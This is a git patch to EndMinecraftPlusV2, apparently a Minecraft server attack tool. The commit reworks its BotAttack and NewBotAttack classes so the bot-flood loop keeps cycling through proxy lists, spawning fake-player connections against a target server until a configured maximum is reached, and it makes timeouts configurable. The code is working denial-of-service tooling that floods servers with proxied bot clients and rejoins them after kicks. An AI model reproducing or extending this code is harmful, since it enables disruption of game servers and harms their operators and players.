From 992a9b7d75cce815f13f01f97ca5114dd618efb5 Mon Sep 17 00:00:00 2001 From: SerendipityR <48401197+SerendipityR-2022@users.noreply.github.com> Date: Wed, 24 Aug 2022 00:01:20 +0800 Subject: [PATCH] =?UTF-8?q?=E9=85=8D=E7=BD=AE=E9=A1=B9=E5=8A=9F=E8=83=BD?= =?UTF-8?q?=E5=AE=8C=E5=96=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../NewVersion/AttackUtils/BotAttack.java | 63 ++++++++++--------- .../NewVersion/AttackUtils/NewBotAttack.java | 63 ++++++++++--------- .../AttackUtils/MultiVersionPacket.java | 2 +- 3 files changed, 70 insertions(+), 58 deletions(-) diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/BotAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/BotAttack.java index 3840441..62d9d6c 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/BotAttack.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/BotAttack.java @@ -131,7 +131,7 @@ public class BotAttack extends IAttack { return; } - OtherUtils.doSleep(5 * 1000); + OtherUtils.doSleep(ConfigUtil.ConnectTimeout); LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack"); cleanClients(); } catch (Exception e) { @@ -201,35 +201,42 @@ public class BotAttack extends IAttack { break; } - for (String p: ProxyUtil.proxies) { - try { - SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin); + boolean run = true; + while (run) { + for (String p: ProxyUtil.proxies) { + try { + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin); - String[] _p = p.split(":"); - Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); - String[] User = AttackManager.getRandomUser().split("@"); - Client client = createClient(ip, port, User[0], proxy); - client.getSession().setReadTimeout(5 * 1000); - client.getSession().setWriteTimeout(5 * 1000); - clientName.put(client, User[0]); - clients.add(client); - ProxyUtil.clientsProxy.put(client.getSession(), proxy); + String[] _p = p.split(":"); + Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); + String[] User = AttackManager.getRandomUser().split("@"); + Client client = createClient(ip, port, User[0], proxy); + client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); + client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); + clientName.put(client, User[0]); + clients.add(client); + ProxyUtil.clientsProxy.put(client.getSession(), proxy); - if (this.attack_motdbefore) { - pool.submit(() -> { - getMotd(proxy, ip, port); + if (this.attack_motdbefore) { + pool.submit(() -> { + getMotd(proxy, ip, port); + client.getSession().connect(false); + }); + } else { client.getSession().connect(false); - }); - } else { - client.getSession().connect(false); - } + } - if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect)) - return; - if (this.attack_joinsleep > 0) - OtherUtils.doSleep(attack_joinsleep); - } catch (Exception e) { - LogUtil.doLog(1, "发生错误: " + e, null); + if (this.attack_joinsleep > 0) { + OtherUtils.doSleep(attack_joinsleep); + } + + if (clients.size() > this.attack_maxconnect) { + run = false; + break; + } + } catch (Exception e) { + LogUtil.doLog(1, "发生错误: " + e, null); + } } } } @@ -322,8 +329,8 @@ public class BotAttack extends IAttack { OtherUtils.doSleep(ConfigUtil.RejoinDelay); Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy); - rejoinClient.getSession().setReadTimeout(5000); - rejoinClient.getSession().setWriteTimeout(5000); + rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); + rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); rejoin++; LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewBotAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewBotAttack.java index c984cb9..84f2df8 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewBotAttack.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewBotAttack.java @@ -170,7 +170,7 @@ public class NewBotAttack extends IAttack { return; } - OtherUtils.doSleep(5 * 1000); + OtherUtils.doSleep(ConfigUtil.ConnectTimeout); LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack"); cleanClients(); } catch (Exception e) { @@ -244,40 +244,45 @@ public class NewBotAttack extends IAttack { break; } - for (String p: ProxyUtil.proxies) { - try { - SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin); + boolean run = true; + while (run) { + for (String p: ProxyUtil.proxies) { + try { + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin); - String[] _p = p.split(":"); - Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); - String[] User = AttackManager.getRandomUser().split("@"); - Session client = createClient(ip, port, User[0], proxy); - client.setReadTimeout(5 * 1000); - client.setWriteTimeout(5 * 1000); - clientName.put(client, User[0]); - clients.add(client); - ProxyUtil.clientsProxy.put(client, proxy); + String[] _p = p.split(":"); + Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); + String[] User = AttackManager.getRandomUser().split("@"); + Session client = createClient(ip, port, User[0], proxy); + client.setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); + client.setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); + clientName.put(client, User[0]); + clients.add(client); + ProxyUtil.clientsProxy.put(client, proxy); - if (this.attack_motdbefore) { - pool.submit(() -> { - getMotd(proxy, ip, port); + if (this.attack_motdbefore) { + pool.submit(() -> { + getMotd(proxy, ip, port); + client.connect(false); + }); + } else { client.connect(false); - }); - } else { - client.connect(false); - } + } - if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect)) { - return; - } + if (this.attack_joinsleep > 0) { + OtherUtils.doSleep(attack_joinsleep); + } - if (this.attack_joinsleep > 0) { - OtherUtils.doSleep(attack_joinsleep); + if (clients.size() > this.attack_maxconnect) { + run = false; + break; + } + } catch (Exception e) { + LogUtil.doLog(1, "发生错误: " + e, null); } - } catch (Exception e) { - LogUtil.doLog(1, "发生错误: " + e, null); } } + } public Session createClient(final String ip, int port, final String username, Proxy proxy) { @@ -380,8 +385,8 @@ public class NewBotAttack extends IAttack { OtherUtils.doSleep(ConfigUtil.RejoinDelay); Session rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy); - rejoinClient.setReadTimeout(5000); - rejoinClient.setWriteTimeout(5000); + rejoinClient.setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); + rejoinClient.setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); rejoin++; LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/MultiVersionPacket.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/MultiVersionPacket.java index a97afe7..69343d8 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/MultiVersionPacket.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/MultiVersionPacket.java @@ -48,7 +48,7 @@ public class MultiVersionPacket { ClientSettingsPacket packet; try { Class parm1Class = Class.forName("org.spacehq.mc.protocol.data.game.setting.ChatVisibility"); - Class parm2Class = Class.forName("[Lorg.spacehq.mc.protocol.data.game.setting.SkinPart;"); + Class parm2Class = Class.forName("org.spacehq.mc.protocol.data.game.setting.SkinPart;"); Class parm3Class = Class.forName("org.spacehq.mc.protocol.data.game.entity.player.Hand"); Class skinClass = Class.forName("org.spacehq.mc.protocol.data.game.setting.SkinPart");